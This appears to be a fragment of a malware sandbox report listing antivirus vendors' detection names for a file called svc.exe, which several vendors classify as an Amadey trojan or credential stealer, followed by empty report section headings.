TrendMicro	Trojan.Win64.AMADEY.YXFAQZ
McAfeeD	ti!2C74E012E213
CTX	exe.trojan.stealer
Sophos	Mal/Generic-S
SentinelOne	Static AI - Malicious PE
FireEye	Generic.mg.e2b9936f5b41295b
Google	Detected
Antiy-AVL	Trojan[PSW]/Win32.Stealer
Kingsoft	Win32.Troj.Unknown.a
Microsoft	Trojan:Win32/Casdet!rfn
Varist	W64/ABTrojan.VEIA-0471
McAfee	Artemis!E2B9936F5B41
DeepInstinct	MALICIOUS
Malwarebytes	Spyware.Stealer
Ikarus	Trojan.SuspectCRC
Panda	Trj/Chgt.AD
TrendMicro-HouseCall	Trojan.Win64.AMADEY.YXFAQZ
Fortinet	W32/PossibleThreat

svc.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All